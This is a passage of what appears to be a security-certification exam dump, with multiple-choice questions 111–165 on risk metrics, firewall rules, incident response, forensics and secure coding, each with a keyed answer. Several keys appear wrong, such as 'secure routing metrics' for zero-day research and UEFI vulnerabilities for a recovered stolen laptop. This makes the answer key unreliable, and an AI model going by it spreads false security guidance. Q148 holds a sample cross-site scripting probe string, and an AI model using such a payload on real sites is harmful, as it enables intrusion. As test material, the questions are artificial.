Which of the following describes a contract that is used to define the various levels of maintenance to be provided by an external business vendor in a secure environment?

A. NDA
B. MOU
C. BIA
D. SLA

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 111
A security technician receives a copy of a report that was originally sent to the board of directors by the Chief Information Security Officer (CISO).
The report outlines the following KPI/KRI data for the last 12 months:

Month	AV Fleet Coverage	AV Signature Updated	Detected Phishing Attempts	Infected Systems	Threat Landscape Rating	Number of Open Security Incidents
January	30%	100%	40	26	High	40
February	20%	100%	8	4	Low	40
March	40%	100%	2	3	Low	30
April	50%	98%	17	12	Medium	30
May	90%	98%	40	5	Low	20
June	95%	98%	10	13	Medium	30
July	95%	98%	25	13	Medium	30
August	95%	96%	8	15	Medium	40
September	95%	90%	9	10	Medium	50
October	95%	90%	20	4	Low	65
November	95%	98%	17	7	Low	75
December	95%	100%	5	22	High	85

Which of the following BEST describes what could be interpreted from the above data?

A. 1. AV coverage across the fleet improved
   2. There is no correlation between infected systems and AV coverage.
   3. There is no correlation between detected phishing attempts and infected systems
   4. A correlation between threat landscape rating and infected systems appears to exist.
   5. Effectiveness and performance of the security team appears to be degrading.

B. 1. AV signature coverage has remained consistently high
   2. AV coverage across the fleet improved
   3. A correlation between phishing attempts and infected systems appears to exist
   4. There is a correlation between the threat landscape rating and the security team's performance.
   5. There is no correlation between detected phishing attempts and infected systems

C. 1. There is no correlation between infected systems and AV coverage
   2. AV coverage across the fleet improved
   3. A correlation between phishing attempts and infected systems appears to exist
   4. There is no correlation between the threat landscape rating and the security team's performance.
   5. There is a correlation between detected phishing attempts and infected systems

D. 1. AV coverage across the fleet declined

2. There is no correlation between infected systems and AV coverage.
3. A correlation between phishing attempts and infected systems appears to exist
4. There is no correlation between the threat landscape rating and the security team's performance
5. Effectiveness and performance of the security team appears to be degrading.

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 112
A Chief Information Security Officer (CISO) is reviewing the controls in place to support the organization's vulnerability management program. The CISO finds patching and vulnerability scanning policies and procedures are in place. However, the CISO is concerned the organization is siloed and is not maintaining awareness of new risks to the organization. The CISO determines systems administrators need to participate in industry security events. Which of the following is the CISO looking to improve?

A. Vendor diversification
B. System hardening standards
C. Bounty programs
D. Threat awareness
E. Vulnerability signatures

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 113
Within the past six months, a company has experienced a series of attacks directed at various collaboration tools. Additionally, sensitive information was compromised during a recent security breach of a remote access session from an unsecure site. As a result, the company is requiring all collaboration tools to comply with the following:

- Secure messaging between internal users using digital signatures
- Secure sites for video-conferencing sessions
- Presence information for all office employees
- Restriction of certain types of messages to be allowed into the network.

Which of the following applications must be configured to meet the new requirements? (Choose two.)

A. Remote desktop
B. VoIP
C. Remote assistance
D. Email
E. Instant messaging
F. Social media websites

Correct Answer: BE
Section: (none)
Explanation

Explanation/Reference:

QUESTION 114
Following a recent data breach, a company has hired a new Chief Information Security Officer (CISO). The CISO is very concerned about the response time to the previous breach and wishes to know how the security team expects to react to a future attack. Which of the following is the BEST method to achieve this goal while minimizing disruption?

A. Perform a black box assessment
B. Hire an external red team audit
C. Conduct a tabletop exercise.
D. Recreate the previous breach.
E. Conduct an external vulnerability assessment.

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 115
A Chief Security Officer (CSO) is reviewing the organization's incident response report from a recent incident. The details of the event indicate:

1. A user received a phishing email that appeared to be a report from the organization's CRM tool.

2. The user attempted to access the CRM tool via a fraudulent web page but was unable to access the tool.
3. The user, unaware of the compromised account, did not report the incident and continued to use the CRM tool with the original credentials.
4. Several weeks later, the user reported anomalous activity within the CRM tool.
5. Following an investigation, it was determined the account was compromised and an attacker in another country has gained access to the CRM tool.
6. Following identification of corrupted data and successful recovery from the incident, a lessons learned activity was to be led by the CSO.

Which of the following would MOST likely have allowed the user to more quickly identify the unauthorized use of credentials by the attacker?

A. Security awareness training
B. Last login verification
C. Log correlation
D. Time-of-check controls
E. Time-of-use controls
F. WAYF-based authentication

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 116
A Chief Information Security Officer (CISO) is reviewing technical documentation from various regional offices and notices some key differences between these groups. The CISO has not discovered any governance documentation. The CISO creates the following chart to visualize the differences among the networking used:

	Switch Vendor	Trunking Protocol	Minimum Cabling Requirement	Active Support
Group A	Vendor 1	802.1q	Cat 5E	YES
Group B	Vendor 1	ISL	Cat 5E	YES
Group C	Vendor 2	802.1q	Cat 5	NO
Group D	Vendor 2	802.1q	Cat 5	YES

Which of the following would be the CISO's MOST immediate concern?

A. There are open standards in use on the network.

B. Network engineers have ignored defacto standards.
C. Network engineers are not following SOPs.
D. The network has competing standards in use.

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 117
An organization is currently performing a market scan for managed security services and EDR capability. Which of the following business documents should be released to the prospective vendors in the first step of the process? (Choose two.)

A. MSA
B. RFP
C. NDA
D. RFI
E. MOU
F. RFQ

Correct Answer: CD
Section: (none)
Explanation

Explanation/Reference:

QUESTION 118
A security analyst, who is working in a Windows environment, has noticed a significant amount of IPv6 traffic originating from a client, even though IPv6 is not currently in use. The client is a stand-alone device, not connected to the AD that manages a series of SCADA devices used for manufacturing. Which of the following is the appropriate command to disable the client's IPv6 stack?

A.

```
C:\>netsh ipsec static set policy name=MYIPPolicy /v Disable TCPIP6
```

B.
```
C:\>reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\IPV6" /v disallowRun /t
REG_DWORD /d "0000001" /f
```

C.
```
C:\>reg add HKLM\system\CurrentControlSet\services\TCPIP6\Parameters /v DisabledComponents
/t REG_DWORD /d 255 /f
```

D.
```
C:\>reg add 'HKLM\SYSTEM\CurrentControlSet\IPV6" /f /v fDenyIPV6Connections /t
```

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 119
When reviewing KRIs of the email security appliance with the Chief Information Security Officer (CISO) of an insurance company, the security engineer notices the following:

Month	Encrypted Email	Unencrypted Email	Contains PII
1	200	0	0
2	230	10	5
3	185	15	10
4	198	60	40
5	204	75	45

Which of the following measures should the security engineer take to ensure PII is not intercepted in transit while also preventing interruption to business?

A. Quarantine emails sent to external domains containing PII and release after inspection.
B. Prevent PII from being sent to domains that allow users to sign up for free webmail.
C. Enable transport layer security on all outbound email communications and attachments.
D. Provide security awareness training regarding transmission of PII.

Correct Answer: C
Section: (none)

Explanation

Explanation/Reference:

QUESTION 120
A software company is releasing a new mobile application to a broad set of external customers. Because the software company is rapidly releasing new features, it has built in an over-the-air software update process that can automatically update the application at launch time. Which of the following security controls should be recommended by the company's security architect to protect the integrity of the update process? (Choose two.)

A. Validate cryptographic signatures applied to software updates
B. Perform certificate pinning of the associated code signing key
C. Require HTTPS connections for downloads of software updates
D. Ensure there are multiple download mirrors for availability
E. Enforce a click-through process with user opt-in for new features

Correct Answer: AB
Section: (none)
Explanation

Explanation/Reference:

QUESTION 121
A Chief Information Security Officer (CISO) is developing a new BIA for the organization. The CISO wants to gather requirements to determine the appropriate RTO and RPO for the organization's ERP. Which of the following should the CISO interview as MOST qualified to provide RTO/RPO metrics?

A. Data custodian
B. Data owner
C. Security analyst
D. Business unit director
E. Chief Executive Officer (CEO)

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 122
Several recent ransomware outbreaks at a company have cost a significant amount of lost revenue. The security team needs to find a technical control mechanism that will meet the following requirements and aid in preventing these outbreaks:

- Stop malicious software that does not match a signature
- Report on instances of suspicious behavior
- Protect from previously unknown threats
- Augment existing security capabilities

Which of the following tools would BEST meet these requirements?

A. Host-based firewall
B. EDR
C. HIPS
D. Patch management

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 123
A security engineer is employed by a hospital that was recently purchased by a corporation. Throughout the acquisition process, all data on the virtualized file servers must be shared by departments within both organizations. The security engineer considers data ownership to determine:

A. the amount of data to be moved.
B. the frequency of data backups.
C. which users will have access to which data
D. when the file server will be decommissioned

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 124
A security analyst is reviewing the following packet capture of communication between a host and a company's router:

```
1 192.168.1.10 -> 10.5.10.1 icmp echo request 33 bytes sent ABCDEFGHIJKLMNOPQRSTUVWXYZ
2 10.5.10.1 -> 192.168.1.10 icmp echo reply 34 bytes sent ABCDEFGHIJKLMNOPQRSTUVWXYZA%MDKF8
```

Which of the following actions should the security analyst take to remove this vulnerability?

A. Update the router code
B. Implement a router ACL
C. Disconnect the host from the network
D. Install the latest antivirus definitions
E. Deploy a network-based IPS

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 125
An information security manager conducted a gap analysis, which revealed a 75% implementation of security controls for high-risk vulnerabilities, 90% for medium vulnerabilities, and 10% for low-risk vulnerabilities. To create a road map to close the identified gaps, the assurance team reviewed the likelihood of exploitation of each vulnerability and the business impact of each associated control. To determine which controls to implement, which of the following is the MOST important to consider?

A. KPI
B. KRI
C. GRC
D. BIA

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 126
A legacy web application, which is being used by a hospital, cannot be upgraded for 12 months. A new vulnerability is found in the legacy application, and the networking team is tasked with mitigation. Middleware for mitigation will cost $100,000 per year. Which of the following must be calculated to determine ROI? (Choose two.)

A. ALE
B. RTO
C. MTBF
D. ARO
E. RPO

Correct Answer: AD
Section: (none)
Explanation

Explanation/Reference:

QUESTION 127
A security engineer is assisting a developer with input validation, and they are studying the following code block:

```
string accountIdRegexp = "TODO, help!";
private static final Pattern accountIdPattern = Pattern.compile
("accountIdRegexp");
String accountId = request.getParameter("accountNumber");
if (!accountIdPattern.matcher(accountId).matches() {
      System.out.println("account ID format incorrect");
} else {
      // continue
}
```

The security engineer wants to ensure strong input validation is in place for customer-provided account identifiers. These identifiers are ten-digit numbers. The developer wants to ensure input validation is fast because a large number of people use the system.

Which of the following would be the BEST advice for the security engineer to give to the developer?

A. Replace code with Java-based type checks
B. Parse input into an array

C. Use regular expressions
D. Canonicalize input into string objects before validation

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 128
A network printer needs Internet access to function. Corporate policy states all devices allowed on the network must be authenticated. Which of the following is the MOST secure method to allow the printer on the network without violating policy?

A. Request an exception to the corporate policy from the risk management committee
B. Require anyone trying to use the printer to enter their username and password
C. Have a help desk employee sign in to the printer every morning
D. Issue a certificate to the printer and use certificate-based authentication

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 129
A systems administrator receives an advisory email that a recently discovered exploit is being used in another country and the financial institutions have ceased operations while they find a way to respond to the attack. Which of the following BEST describes where the administrator should look to find information on the attack to determine if a response must be prepared for the systems? (Choose two.)

A. Bug bounty websites
B. Hacker forums
C. Antivirus vendor websites
D. Trade industry association websites
E. CVE database
F. Company's legal department

Correct Answer: CE

Section: (none)
Explanation

Explanation/Reference:

QUESTION 130
A security assessor is working with an organization to review the policies and procedures associated with managing the organization's virtual infrastructure. During a review of the virtual environment, the assessor determines the organization is using servers to provide more than one primary function, which violates a regulatory requirement. The assessor reviews hardening guides and determines policy allows for this configuration. It would be MOST appropriate for the assessor to advise the organization to:

A. segment dual-purpose systems on a hardened network segment with no external access
B. assess the risks associated with accepting non-compliance with regulatory requirements
C. update system implementation procedures to comply with regulations
D. review regulatory requirements and implement new policies on any newly provisioned servers

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 131
While conducting a BIA for a proposed acquisition, the IT integration team found that both companies outsource CRM services to competing and incompatible third-party cloud services. The decision has been made to bring the CRM service in-house, and the IT team has chosen a future solution. With which of the following should the Chief Information Security Officer (CISO) be MOST concerned? (Choose two.)

A. Data remnants
B. Sovereignty
C. Compatible services
D. Storage encryption
E. Data migration
F. Chain of custody

Correct Answer: AB
Section: (none)
Explanation

Explanation/Reference:

QUESTION 132
The Chief Information Security Officer (CISO) suspects that a database administrator has been tampering with financial data to the administrator's advantage. Which of the following would allow a third-party consultant to conduct an on-site review of the administrator's activity?

A. Separation of duties
B. Job rotation
C. Continuous monitoring
D. Mandatory vacation

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 133
Following the successful response to a data-leakage incident, the incident team lead facilitates an exercise that focuses on continuous improvement of the organization's incident response capabilities. Which of the following activities has the incident team lead executed?

A. Lessons learned review
B. Root cause analysis
C. Incident audit
D. Corrective action exercise

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 134
A government contractor was the victim of a malicious attack that resulted in the theft of sensitive information. An analyst's subsequent investigation of sensitive systems led to the following discoveries:

- There was no indication of the data owner's or user's accounts being compromised.
- No database activity outside of previous baselines was discovered.
- All workstations and servers were fully patched for all known vulnerabilities at the time of the attack.
- It was likely not an insider threat, as all employees passed polygraph tests.

Given this scenario, which of the following is the MOST likely attack that occurred?

A. The attacker harvested the hashed credentials of an account within the database administrators group after dumping the memory of a compromised machine. With these credentials, the attacker was able to access the database containing sensitive information directly.
B. An account, which belongs to an administrator of virtualization infrastructure, was compromised with a successful phishing attack. The attacker used these credentials to access the virtual machine manager and made a copy of the target virtual machine image. The attacker later accessed the image offline to obtain sensitive information.
C. A shared workstation was physically accessible in a common area of the contractor's office space and was compromised by an attacker using a USB exploit, which resulted in gaining a local administrator account. Using the local administrator credentials, the attacker was able to move laterally to the server hosting the database with sensitive information.
D. After successfully using a watering hole attack to deliver an exploit to a machine, which belongs to an employee of the contractor, an attacker gained access to a corporate laptop. With this access, the attacker then established a remote session over a VPN connection with the server hosting the database of sensitive information.

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 135
A networking administrator was recently promoted to security administrator in an organization that handles highly sensitive data. The Chief Information Security Officer (CISO) has just asked for all IT security personnel to review a zero-day vulnerability and exploit for specific application servers to help mitigate the organization's exposure to that risk. Which of the following should the new security administrator review to gain more information? (Choose three.)

A. CVE database
B. Recent security industry conferences
C. Security vendor pages
D. Known vendor threat models
E. Secure routing metrics
F. Server's vendor documentation
G. Verified security forums
H. NetFlow analytics

Correct Answer: CEF
Section: (none)
Explanation

Explanation/Reference:

QUESTION 136
A company has decided to replace all the T-1 uplinks at each regional office and move away from using the existing MPLS network. All regional sites will use high-speed connections and VPNs to connect back to the main campus. Which of the following devices would MOST likely be added at each location?

A. SIEM
B. IDS/IPS
C. Proxy server
D. Firewall
E. Router

Correct Answer: E
Section: (none)
Explanation

Explanation/Reference:

QUESTION 137
A regional business is expecting a severe winter storm next week. The IT staff has been reviewing corporate policies on how to handle various situations and found some are missing or incomplete. After reporting this gap in documentation to the information security manager, a document is immediately drafted to move various personnel to other locations to avoid downtime in operations. This is an example of:

A. a disaster recovery plan
B. an incident response plan
C. a business continuity plan
D. a risk avoidance plan

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 138
A security engineer successfully exploits an application during a penetration test. As proof of the exploit, the security engineer takes screenshots of how data was compromised in the application. Given the information below from the screenshot.

```
2019-11-21 13:11:45 POST https://company.com/store
         <-- 200 text/plain 2.02kB 0.9s
.......Request.....**Response**.......Detail......
:Status: 200
Content-Types:text/plain
Content-Length: 2022
Date: Sun, 21 Nov 2019 18:11:45 GMT
.......RAW.........................................
Method: POST
Protocol: HTTP/2.0
RemoteAddr: v10.10.45.00:443
RequestURI:   "/store"
.......................
"product": [
{ "item": "745"
  "name": "Deluxe Pencil Case"
  "price": "0.10"
  "discount": "0.10"
} ,
}
```

Which of the following tools was MOST likely used to exploit the application?

A. The engineer captured the data with a protocol analyzer, and then utilized Python to edit the data
B. The engineer queried the server and edited the data using an HTTP proxy interceptor
C. The engineer used a cross-site script sent via curl to edit the data
D. The engineer captured the HTTP headers, and then replaced the JSON data with a banner-grabbing tool

Correct Answer: B
Section: (none)

Explanation

Explanation/Reference:

QUESTION 139
A project manager is working with system owners to develop maintenance windows for system patching and upgrades in a cloud-based PaaS environment. Management has indicated one maintenance windows will be authorized per month, but clients have stated they require quarterly maintenance windows to meet their obligations. Which of the following documents should the project manager review?

A. MOU
B. SOW
C. SRTM
D. SLA

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 140
A security administrator is advocating for enforcement of a new policy that would require employers with privileged access accounts to undergo periodic inspections and review of certain job performance data. To which of the following policies is the security administrator MOST likely referring?

A. Background investigation
B. Mandatory vacation
C. Least privilege
D. Separation of duties

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 141
An organization is reviewing endpoint security solutions. In evaluating products, the organization has the following requirements:

1. Support server, laptop, and desktop infrastructure
2. Due to limited security resources, implement active protection capabilities
3. Provide users with the ability to self-service classify information and apply policies
4. Protect data-at-rest and data-in-use

Which of the following endpoint capabilities would BEST meet the above requirements? (Choose two.)

A. Data loss prevention
B. Application whitelisting
C. Endpoint detect and respond
D. Rights management
E. Log monitoring
F. Antivirus

Correct Answer: CF
Section: (none)
Explanation

Explanation/Reference:

QUESTION 142
A company is migrating systems from an on-premises facility to a third-party managed datacenter. For continuity of operations and business agility, remote access to all hardware platforms must be available at all times. Access controls need to be very robust and provide an audit trail. Which of the following security controls will meet the company's objectives? (Choose two.)

A. Integrated platform management interfaces are configured to allow access only via SSH
B. Access to hardware platforms is restricted to the systems administrator's IP address
C. Access is captured in event logs that include source address, time stamp, and outcome
D. The IP addresses of server management interfaces are located within the company's extranet
E. Access is limited to interactive logins on the VDi
F. Application logs are hashed cryptographically and sent to the SIEM

Correct Answer: CE
Section: (none)
Explanation

Explanation/Reference:

QUESTION 143
A Chief Information Security Officer (CISO) implemented MFA for all accounts in parallel with the BYOD policy. After the implementation, employees report the increased authentication method is causing increased time to tasks. This applies both to accessing the email client on the workstation and the online collaboration portal. Which of the following should be the CISO implement to address the employees' concerns?

A. Create an exception for the company's IPs.
B. Implement always-on VPN.
C. Configure the use of employee PKI authentication for email.
D. Allow the use of SSO.

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 144
A Chief Information Security Officer (CISO) of a large financial institution undergoing an IT transformation program wants to embed security across the business rapidly and across as many layers of the business as possible to achieve quick wins and reduce risk to the organization. Which of the following business areas should the CISO target FIRST to best meet the objective?

A. Programmers and developers should be targeted to ensure secure coding practices, including automated code reviews with remediation processes, are implemented immediately.
B. Human resources should be targeted to ensure all new employees undertake security awareness and compliance training to reduce the impact of phishing and ransomware attacks.
C. The project management office should be targeted to ensure security is managed and included at all levels of the project management cycle for new and in-flight projects.
D. Risk assurance teams should be targeted to help identify key business unit security risks that can be aggregated across the organization to produce a risk posture dashboard for executive management.

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 145
A security administrator is concerned about the increasing number of users who click on malicious links contained within phishing emails. Although the company has implemented a process to block these links at the network perimeter, many accounts are still becoming compromised. Which of the following should be implemented for further reduce the number of account compromises caused by remote users who click these links?

A. Anti-spam gateways
B. Security awareness training
C. URL rewriting
D. Internal phishing campaign

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 146
A network administrator is concerned about a particular server that is attacked occasionally from hosts on the Internet. The server is not critical; however, the attacks impact the rest of the network.

While the company's current ISP is cost effective, the ISP is slow to respond to reported issues. The administrator needs to be able to mitigate the effects of an attack immediately without opening a trouble ticket with the ISP. The ISP is willing to accept a very small network route advertised with a particular BGP community string. Which of the following is the BEST way for the administrator to mitigate the effects of these attacks?

A. Use the route protection offered by the ISP to accept only BGP routes from trusted hosts on the Internet, which will discard traffic from attacking hosts.
B. Work with the ISP and subscribe to an IPS filter that can recognize the attack patterns of the attacking hosts, and block those hosts at the local IPS device.
C. Advertise a /32 route to the ISP to initiate a remotely triggered black hole, which will discard traffic destined to the problem server at the upstream provider.
D. Add a redundant connection to a second local ISP, so a redundant connection is available for use if the server is being attacked on one connection.

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 147
A security engineer is assessing a new IoT product. The product interfaces with the ODBII port of a vehicle and uses a Bluetooth connection to relay data to an onboard data logger located in the vehicle. The data logger can only transfer data over a custom USB cable. The engineer suspects a relay attack is possible

against the cryptographic implementation used to secure messages between segments of the system. Which of the following tools should the engineer use to confirm the analysis?

A. Binary decompiler
B. Wireless protocol analyzer
C. Log analysis and reduction tools
D. Network-based fuzzer

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 148
A developer is reviewing the following transaction logs from a web application:

```
Username: John Doe
Street name: Main St.
Street number: <script>alert('test')</alert>
```

Which of the following code snippets should the developer implement given the above transaction logs?

A. `if ($input != strcmp($var1, "<>")) {die();}`
B. `<form name ="form1" action="/submit.php" onsubmit="return validate()" action=POST>`
C. `$input=strip_tags(trim($_POST['var1']));`
D. `<html><form name="myform" action="www.server.com/php/submit.php action=GET"`

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 149
Company leadership believes employees are experiencing an increased number of cyber attacks; however, the metrics do not show this. Currently, the company uses "Number of successful phishing attacks" as a KRI, but it does not show an increase.

Which of the following additional information should be the Chief Information Security Officer (CISO) include in the report?

A. The ratio of phishing emails to non-phishing emails
B. The number of phishing attacks per employee
C. The number of unsuccessful phishing attacks
D. The percent of successful phishing attacks

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 150
Following a recent outage, a systems administrator is conducting a study to determine a suitable bench stock on server hard drives.

Which of the following metrics is MOST valuable to the administrator in determining how many hard drives to keep-on hand?

A. TTR
B. ALE
C. MTBF
D. SLE
E. RPO

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 151
A school contracts with a vendor to devise a solution that will enable the school library to lend out tablet computers to students while on site. The tablets must adhere to string security and privacy practices. The school's key requirements are to:

- Maintain privacy of students in case of loss
- Have a theft detection control in place
- Be compliant with defined disability requirements

- Have a four-hour minimum battery life

Which of the following should be configured to BEST meet the requirements? (Choose two.)

A. Remote wiping
B. Geofencing
C. Antivirus software
D. TPM
E. FDE
F. Tokenization

Correct Answer: AD
Section: (none)
Explanation

Explanation/Reference:

QUESTION 152
A project manager is working with a software development group to collect and evaluate user scenarios related to the organization's internally designed data analytics tool. While reviewing stakeholder input, the project manager would like to formally document the needs of the various stakeholders and the associated organizational compliance objectives supported by the project.

Which of the following would be MOST appropriate to use?

A. Roles matrix
B. Peer review
C. BIA
D. SRTM

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 153
A laptop is recovered a few days after it was stolen.

Which of the following should be verified during incident response activities to determine the possible impact of the incident?

A. Full disk encryption status
B. TPM PCR values
C. File system integrity
D. Presence of UEFI vulnerabilities

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 154
Ann, a security administrator, is conducting an assessment on a new firewall, which was placed at the perimeter of a network containing PII. Ann runs the following commands on a server (10.0.1.19) behind the firewall:

```
service iptables stop
service sshd stop
```

From her own workstation (192.168.2.45) outside the firewall, Ann then runs a port scan against the server and records the following packet capture of the port scan:

```
0.872299  192.168.2.45 -> 10.0.1.19 TCP  62  49188 > 22  [SYN] Seq=0 Len=0 MSS=1460
0.872899  10.0.1.19 -> 192.168.2.45 TCP  62  22 > 49188  [RST] Seq=0 Len=0 MSS=1460
0.891308  192.168.2.45 ->10.0.1.19  TCP  62  49189 > 23  [SYN] Seq=0 Len=0 MSS=1460
0.891809  10.0.1.19 -> 192.168.2.45 TCP  62  23 > 49189  [RST] Seq=0 Len=0 MSS=1460
0.901234  192.168.2.45 -> 10.0.1.19 TCP  62  49190 > 24  [SYN] Seq=0 Len=0 MSS=1460
0.901454  10.0.1.19 -> 192.168.2.45 TCP  62  24 > 49190  [RST] Seq=0 Len=0 MSS=1460
0.925657  192.168.2.45 -> 10.0.1.19 TCP  62  49191 > 25  [SYN] Seq=0 Len=0 MSS=1460
0.929872  10.0.1.19 -> 192.168.2.45 TCP  62  25 > 49191  [RST] Seq=0 Len=0 MSS=1460
```

Connectivity to the server from outside the firewall worked as expected prior to executing these commands.

Which of the following can be said about the new firewall?

A. It is correctly dropping all packets destined for the server.

B. It is not blocking or filtering any traffic to the server.
C. Iptables needs to be restarted.
D. The IDS functionality of the firewall is currently disabled.

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 155
An incident responder wants to capture volatile memory comprehensively from a running machine for forensic purposes. The machine is running a very recent release of the Linux OS.

Which of the following technical approaches would be the MOST feasible way to accomplish this capture?

A. Run the `memdump` utility with the `-k` flag.
B. Use a loadable kernel module capture utility, such as LiME.
C. Run `dd` on/dev/mem.
D. Employ a stand-alone utility, such as FTK Imager.

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 156
A request has been approved for a vendor to access a new internal server using only HTTPS and SSH to manage the back-end system for the portal. Internal users just need HTTP and HTTPS access to all internal web servers. All other external access to the new server and its subnet is not allowed. The security manager must ensure proper access is configured.

New internal server IP:	10.1.50.150
Vendor IP:	208.206.109.249
External development subnet:	108.109.110.0/28
Internal subnet:	10.1.10.0/24
Web team subnet:	10.1.40.0/24
Web server subnet:	10.1.50.0/24

Below is a snippet from the firewall related to that server (access is provided in a top-down model):

Line #	Source address	Destination address	Port	Access type
1	10.1.40.0/24	10.1.50.0/24	Any	Permit
2	10.1.10.0/24	10.1.50.0/24	80	Permit
3	Any	10.1.50.0/24	Any	Deny
4	208.206.109.249	10.1.50.150	80, 22	Permit
5	10.1.40.0/24	108.109.110.0/28	80, 8080	Permit

Which of the following lines should be configured to allow the proper access? (Choose two.)

A. Move line 3 below line 4 and change port 80 to 443 on line 4.
B. Move line 3 below line 4 and add port 443 to line.
C. Move line 4 below line 5 and add port 80 to 8080 on line 2.
D. Add port 22 to line 2.
E. Add port 22 to line 5.
F. Add port 443 to line 2.
G. Add port 443 to line 5.

Correct Answer: AF
Section: (none)
Explanation

Explanation/Reference:

QUESTION 157
A security administrator wants to implement controls to harden company-owned mobile devices. Company policy specifies the following requirements:

- Mandatory access control must be enforced by the OS.
- Devices must only use the mobile carrier data transport.

Which of the following controls should the security administrator implement? (Choose three.)

A. Enable DLP
B. Enable SEAndroid
C. Enable EDR
D. Enable secure boot
E. Enable remote wipe
F. Disable Bluetooth
G. Disable 802.11
H. Disable geotagging

Correct Answer: BFG
Section: (none)
Explanation

Explanation/Reference:

QUESTION 158
While conducting online research about a company to prepare for an upcoming penetration test, a security analyst discovers detailed financial information on an investor website the company did not make public. The analyst shares this information with the Chief Financial Officer (CFO), who confirms the information is accurate, as it was recently discussed at a board of directors meeting. Many of the details are verbatim discussion comments captured by the board secretary for purposes of transcription on a mobile device. Which of the following would MOST likely prevent a similar breach in the future?

A. Remote wipe
B. FDE
C. Geolocation
D. eFuse
E. VPN

Correct Answer: B
Section: (none)

Explanation

Explanation/Reference:

QUESTION 159
An infrastructure team within an energy organization is at the end of a procurement process and has selected a vendor's SaaS platform to deliver services. As part of the legal negotiation, there are a number of outstanding risks, including:

1. There are clauses that confirm a data retention period in line with what is in the energy organization's security policy.
2. The data will be hosted and managed outside of the energy organization's geographical location.

The number of users accessing the system will be small, and no sensitive data will be hosted in the SaaS platform. Which of the following should the project's security consultant recommend as the NEXT step?

A. Develop a security exemption, as the solution does not meet the security policies of the energy organization.
B. Require a solution owner within the energy organization to accept the identified risks and consequences.
C. Mititgate the risks by asking the vendor to accept the in-country privacy principles and modify the retention period.
D. Review the procurement process to determine the lessons learned in relation to discovering risks toward the end of the process.

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 160
A developer emails the following output to a security administrator for review:

```
curl -X TRACE host1
User-Agent: curl/7.25.0
Host: host1
Accept: */*
Cookie: user=badguy: path=/; HttpOnly
```

Which of the following tools might the security administrator use to perform further security assessment of this issue?

A. Port scanner

B. Vulnerability scanner
C. Fuzzer
D. HTTP interceptor

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 161
An enterprise is trying to secure a specific web-based application by forcing the use of multifactor authentication. Currently, the enterprise cannot change the application's sign-in page to include an extra field. However, the web-based application supports SAML. Which of the following would BEST secure the application?

A. Using an SSO application that supports mutlifactor authentication
B. Enabling the web application to support LDAP integration
C. Forcing higher-complexity passwords and frequent changes
D. Deploying Shibboleth to all web-based applications in the enterprise

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 162
A financial institution's information security officer is working with the risk management officer to determine what to do with the institution's residual risk after all security controls have been implemented. Considering the institution's very low risk tolerance, which of the following strategies would be BEST?

A. Transfer the risk.
B. Avoid the risk
C. Mitigate the risk.
D. Accept the risk.

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 163
A large, public university has recently been experiencing an increase in ransomware attacks against computers connected to its network. Security engineers have discovered various staff members receiving seemingly innocuous files in their email that are being run. Which of the following would BEST mitigate this attack method?

A. Improving organizations email filtering
B. Conducting user awareness training
C. Upgrading endpoint anti-malware software
D. Enabling application whitelisting

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 164
A security architect is reviewing the code for a company's financial website. The architect suggests adding the following HTML element, along with a server-side function, to generate a random number on the page used to initiate a funds transfer:

```
<input type=″hidden″ name=″token″ value=generateRandomNumber()>
```

Which of the following attacks is the security architect attempting to prevent?

A. SQL injection
B. XSRF
C. XSS
D. Clickjacking

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 165
Following a recent and very large corporate merger, the number of log files an SOC needs to review has approximately tripled. The Chief Information Security Officer (CISO) has not been allowed to hire any more staff for the SOC, but is looking for other ways to automate the log review process so the SOC receives less noise. Which of the following would BEST reduce log noise for the SOC?

A. SIEM filtering
B. Machine learning
C. Outsourcing
D. Centralized IPS

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 166
